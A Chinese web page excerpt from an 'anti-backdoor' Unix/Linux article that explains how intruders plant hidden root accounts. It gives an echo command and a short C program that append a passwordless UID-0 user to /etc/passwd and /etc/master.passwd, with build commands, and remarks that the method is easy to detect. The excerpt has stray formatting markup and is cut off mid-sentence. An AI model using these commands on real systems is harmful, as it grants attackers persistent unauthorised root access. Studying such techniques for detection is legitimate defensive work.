unix&linux系列三:anti-backdoor by irunnet.com[7]

[入库:2006年2月23日] [更新:2007年3月24日]

本文简介:

t;Times New Roman"; mso-hansi-font-family: "Times New Roman"; mso-bidi-font-family: "Times New Roman"; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">都为0root)的帐号,无口令。
FreeBSD
的密码是存储在 /etc/master.passwd里面的,那么后面的命令就应该改成
:
# echo "username:::::::::" >> /etc/master.passwd
也可以使用程序来实现
:
/* Add super user */
i nclude "stdio.h"
#define PASSWD_PATH "/etc/passwd"
#define SHADOW_PATH "/etc/master.passwd"
main()
{
FILE *fd;
fd = fopen(PASSWD_PATH, "a+");
fprintf(fd, "heiyeluren:*:0:0::/root:/bin/sh\n");
fclose(fd);
fd = fopen(SHADOW_PATH, "a+");
fprintf(fd, "heiyeluren::0:0::0:0::/root:/bin/sh\n");
fclose(fd);
}
# gcc -o adduser adduser.c
# ./adduser
这种方法比较傻,一般比较容易发现,特别是系统帐户不多的时候。也有的用户名起的比较迷惑人,比如起个

本文关键:unix&linux系列三:anti-backdoor by irunnet.com
  相关方案
Google
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top